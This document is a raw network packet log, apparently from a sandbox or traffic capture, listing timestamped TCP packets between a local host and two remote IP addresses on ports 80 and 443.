Nov 24, 2024 04:20:50.800035954 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.800685883 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.800740957 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.800750017 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.800776958 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.801476955 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.801563025 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.801593065 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.801639080 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.802294970 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.802344084 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.802405119 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.802459002 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.803112984 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.803220034 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.803221941 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.803289890 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.803941965 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.804052114 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.804060936 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.804104090 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.804755926 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.804806948 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.804868937 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.804915905 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.804915905 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.805563927 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.805614948 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.805672884 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.805722952 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.806372881 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.806478024 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.806526899 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.807224989 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.807288885 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.807293892 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.807512999 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.808041096 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.808092117 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.808212042 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.808259010 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.808851004 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.808896065 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.808932066 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.808974981 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.809735060 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.809748888 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.809787989 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.810516119 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.810576916 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.810627937 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.811319113 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.811367989 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.811419964 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.811582088 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.812129021 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.812177896 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.812258959 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.812330008 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.812911987 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.812963963 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.813019037 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.813064098 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.813771009 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.813817024 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.813862085 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.813900948 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.814583063 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.814640045 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.814673901 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.814728022 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.815397978 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.815444946 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.815555096 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.815613985 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.816235065 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.816282034 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.816315889 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.816359997 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.817022085 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.817070961 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.817128897 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.817166090 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.817857027 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.817903042 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.817941904 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.817985058 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.818686008 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.818731070 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.818767071 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.818813086 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.819480896 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.819536924 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.819590092 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.819701910 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.820327997 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.820341110 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.820386887 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.821126938 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.821178913 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.821233034 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.821280956 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.821937084 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.822043896 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.822091103 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.822772980 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.822824001 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.822891951 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.823101044 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.823610067 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.823621035 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.823662996 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.824414015 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.824465990 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.824533939 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.824588060 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.825216055 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.825273037 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.825304985 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.825346947 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.826024055 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.826081991 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.826133966 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.826180935 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.826891899 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.826904058 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.826956987 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.827682018 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.827744007 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.827785969 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.827831030 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.828485012 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.828556061 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.828587055 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.828628063 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.829310894 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.829422951 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.829432964 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.829468966 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.830149889 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.830199957 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.830238104 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.830296993 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.830948114 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.831053972 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.831079960 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.831094980 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.831773043 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.831859112 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.831890106 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.831945896 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.832576990 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.832638979 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.832642078 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.832684040 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.833431005 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.833502054 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.833548069 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.834193945 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.834245920 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.870588064 CET	443	49904	23.209.72.39	192.168.2.6
Nov 24, 2024 04:20:50.870676994 CET	49904	443	192.168.2.6	23.209.72.39
Nov 24, 2024 04:20:50.870686054 CET	443	49904	23.209.72.39	192.168.2.6
Nov 24, 2024 04:20:50.919419050 CET	49904	443	192.168.2.6	23.209.72.39
Nov 24, 2024 04:20:51.237432003 CET	443	49904	23.209.72.39	192.168.2.6
Nov 24, 2024 04:20:51.237442017 CET	443	49904	23.209.72.39	192.168.2.6
Nov 24, 2024 04:20:51.237514019 CET	49904	443	192.168.2.6	23.209.72.39
Nov 24, 2024 04:20:51.237526894 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237534046 CET	443	49904	23.209.72.39	192.168.2.6
Nov 24, 2024 04:20:51.237540007 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237550020 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237567902 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237576962 CET	49904	443	192.168.2.6	23.209.72.39
Nov 24, 2024 04:20:51.237579107 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237582922 CET	443	49904	23.209.72.39	192.168.2.6
Nov 24, 2024 04:20:51.237584114 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237595081 CET	443	49904	23.209.72.39	192.168.2.6
Nov 24, 2024 04:20:51.237596989 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237596035 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.237607956 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237622023 CET	49904	443	192.168.2.6	23.209.72.39
Nov 24, 2024 04:20:51.237629890 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.237641096 CET	443	49904	23.209.72.39	192.168.2.6
Nov 24, 2024 04:20:51.237646103 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.237679005 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237690926 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237700939 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237708092 CET	49904	443	192.168.2.6	23.209.72.39
Nov 24, 2024 04:20:51.237708092 CET	49904	443	192.168.2.6	23.209.72.39
Nov 24, 2024 04:20:51.237713099 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237726927 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.237740040 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.237742901 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237756968 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237768888 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.237783909 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237795115 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237804890 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.237828016 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237833023 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.237839937 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237849951 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237859964 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237884045 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237884998 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.237895966 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237915039 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.237920046 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237931013 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237967968 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237978935 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.237998009 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238020897 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238032103 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238034964 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238034964 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238042116 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238053083 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238063097 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238075018 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238086939 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238095999 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238106012 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238115072 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238125086 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238142014 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238157988 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238169909 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238178015 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238210917 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238215923 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238221884 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238248110 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238260031 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238267899 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238287926 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238301992 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238317013 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238322020 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238332987 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238343954 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238349915 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238349915 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238353968 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238372087 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238418102 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238470078 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238591909 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238646030 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238673925 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238684893 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238684893 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238712072 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238715887 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238723040 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238734007 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238744020 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238765001 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238779068 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238780975 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238807917 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238810062 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238821030 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238842964 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238850117 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238854885 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238858938 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238871098 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238882065 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238888025 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238910913 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238924026 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238924980 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238955021 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238967896 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.238967896 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.238979101 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239008904 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.239012003 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239022970 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239032984 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239043951 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239053965 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.239068031 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239077091 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239088058 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.239099979 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239110947 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239120007 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.239175081 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.239492893 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239505053 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239516973 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239542007 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.239556074 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.239707947 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239736080 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239748001 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239768028 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239779949 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239784956 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.239795923 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.239803076 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239814043 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239839077 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239850044 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.239866972 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.239871025 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239882946 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239892006 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.239892960 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239918947 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239924908 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.239929914 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239936113 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.239954948 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239965916 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.239968061 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.239989042 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.240000963 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.240009069 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.240009069 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.240010977 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.240029097 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.240031004 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.240051031 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.240051985 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.240063906 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.240073919 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.240078926 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.240091085 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.240123034 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.240134954 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.240134954 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.240149021 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.240185976 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.240495920 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.240508080 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.240542889 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.240572929 CET	49835	80	192.168.2.6	185.215.113.206
